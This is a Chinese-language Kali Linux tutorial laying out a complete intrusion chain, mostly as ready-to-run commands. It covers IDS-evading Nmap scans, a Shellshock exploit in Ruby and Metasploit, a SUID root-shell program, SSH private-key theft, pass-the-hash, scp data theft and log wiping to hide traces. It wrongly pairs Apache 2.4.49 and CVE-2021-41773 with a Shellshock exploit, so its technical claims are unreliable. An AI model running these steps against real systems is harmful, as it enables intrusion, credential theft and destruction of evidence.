一、从勒索软件事件说起

2023年某全球性物流企业因勒索软件攻击被迫停止部分业务,最终支付了高昂的赎金。攻击者通过一个看似普通的文件分享链接,利用漏洞成功植入恶意软件,并在其网络中横行。此事件再次表明,熟练使用渗透工具、掌握攻击链的每个环节,对于防御此类事件至关重要。

在本文中,我们将围绕 Kali Linux,分析如何通过其强大的工具集进行一次完整的模拟攻击,从信息收集到数据窃取,展现一次真实的攻击过程。警告:以下内容仅限授权测试,任何非法使用均与作者无关!

---

二、信息收集:找到目标的弱点

1. 使用 Nmap 绘制网络地图

信息收集是攻击的基石,Nmap 是渗透测试的必备工具。我们以一个内部网段 192.168.1.0/24 为目标,进行主机发现和端口扫描。

<pre><code class="language-bash"># 快速扫描存活主机和开放端口 nmap -sP 192.168.1.0/24</code></pre>

<pre><code class="language-bash"># 深度扫描特定主机的端口和服务版本 nmap -sV -p1-65535 --script=banner 192.168.1.5</code></pre>

Tips:为了规避 IDS 检测,可以通过降低扫描速率和调整流量模式实现隐蔽:

<pre><code class="language-bash">nmap -sS -T2 --data-length 22 --randomize-hosts 192.168.1.0/24</code></pre>

  • -T2:降低速度为“Polite”模式。
  • --data-length:伪造数据包长度,干扰流量分析。

> 结果分析:假设发现目标主机 192.168.1.5,开放了 22(SSH)、80(HTTP)和 3306(MySQL)端口,并运行一个未更新的 Apache 2.4.49。

---

2. Whois 和 DNS 泄露信息

黑客示意图

如果目标为互联网资产,使用 whois 和 DNS 工具挖掘注册信息和子域。

<pre><code class="language-bash"># 查询域名注册信息 whois example.com</code></pre>

<pre><code class="language-bash"># 利用 DNSenum 枚举子域 dnsenum --enum -p 20 -s 20 example.com</code></pre>

---

3. 社工信息收集

社工攻击通常能带来意想不到的效果。通过 theHarvester 搜集目标的邮件地址、用户名和社交账号。

<pre><code class="language-bash"># 搜集目标域的员工邮箱和用户名 theharvester -d example.com -l 500 -b google</code></pre>

---

三、漏洞挖掘:利用弱点打开大门

1. 漏洞扫描与验证

目标环境可能存在已知漏洞,结合 NmapMetasploit 进行快速验证。

<pre><code class="language-bash"># 使用 Nmap 的 NSE 脚本扫描漏洞 nmap --script http-vuln-cve2021-41773 192.168.1.5</code></pre>

如果确认目标是 Apache 2.4.49,且漏洞存在,可以通过 Metasploit 进行进一步攻击:

<pre><code class="language-bash"># 加载 Metasploit 模块 use exploit/multi/http/apache_mod_cgi_bash_env_exec set rhost 192.168.1.5 set lhost 192.168.1.100 exploit</code></pre>

---

2. 自定义漏洞利用脚本(Ruby 编写)

<pre><code class="language-ruby">require &#039;net/http&#039;

定义目标地址和漏洞利用路径

target = &#039;http://192.168.1.5/cgi-bin/test.cgi&#039; payload = &quot;() { :; }; /bin/bash -c &#039;echo VULNERABLE &gt; /tmp/pwned&#039;&quot;

构造恶意请求

uri = URI(target) headers = { &#039;User-Agent&#039; =&gt; payload } response = Net::HTTP.get_response(uri, headers)

puts &quot;Response: #{response.code}&quot; if response.code == &#039;200&#039; puts &quot;[+] Exploit successful!&quot; else puts &quot;[-] Exploit failed.&quot; end</code></pre>

运行脚本后,可以检查目标主机 /tmp/pwned 文件是否存在。

---

四、权限提升:从普通用户到管理员

1. 搜索本地提权漏洞

在成功获得低权限的目标系统 Shell 后,利用 linpeas.sh 自动化脚本搜索提权漏洞。

<pre><code class="language-bash"># 下载并运行 linpeas.sh wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh</code></pre>

分析输出,寻找诸如 SUID 文件、未修补的内核漏洞等提权机会。

---

2. 手动利用 SUID 提权

假设发现 /usr/bin/vuln_bin 是一个可被利用的 SUID 程序:

<pre><code class="language-bash"># 使用 SUID 程序打开 Root Shell ./vuln_bin</code></pre>

如果程序存在漏洞,可以通过以下代码写入 Root 权限的 Shell。

<pre><code class="language-bash">echo &#039;int main(){setuid(0);system(&quot;/bin/bash&quot;);return 0;}&#039; &gt; exploit.c gcc exploit.c -o exploit chmod +s exploit ./exploit</code></pre>

---

五、横向移动:控制更多机器

1. SSH 密钥窃取

如果成功提权为目标管理员账户,检查其 SSH 配置:

<pre><code class="language-bash"># 查看 SSH 密钥 cat ~/.ssh/id_rsa cat ~/.ssh/authorized_keys</code></pre>

利用窃取的私钥尝试访问其他主机:

<pre><code class="language-bash">ssh -i id_rsa [email protected]</code></pre>

---

2. Pass-the-Hash 攻击

在 Windows 环境中,如果获得哈希值(如 NTLM),可通过 pth-winexe 工具直接访问目标。

<pre><code class="language-bash"># 利用哈希访问目标 Windows pth-winexe -U &quot;Administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0&quot; //192.168.1.20 cmd</code></pre>

黑客示意图

---

六、数据窃取与痕迹清除

1. 数据窃取

利用 scp 将数据传回攻击者控制的主机:

<pre><code class="language-bash"># 从目标下载文件 scp [email protected]:/var/www/html/backup.zip /tmp/</code></pre>

---

黑客示意图

2. 痕迹清除

删除日志文件,避免被管理员发现:

<pre><code class="language-bash"># 清除 SSH 日志 echo &gt; /var/log/auth.log echo &gt; /var/log/secure</code></pre>

使用 shred 确保数据不可恢复:

<pre><code class="language-bash">shred -u /tmp/payload</code></pre>

---

七、总结与思考

这篇文章详细展示了如何在 Kali Linux 中使用工具完成一次完整的渗透测试攻击链。然而,所有技术仅限授权环境下使用。攻击者的手段层出不穷,身为防御者,我们必须掌握这些技术,提升防御能力。这不仅是对企业资产的保护,更是对行业责任的坚守。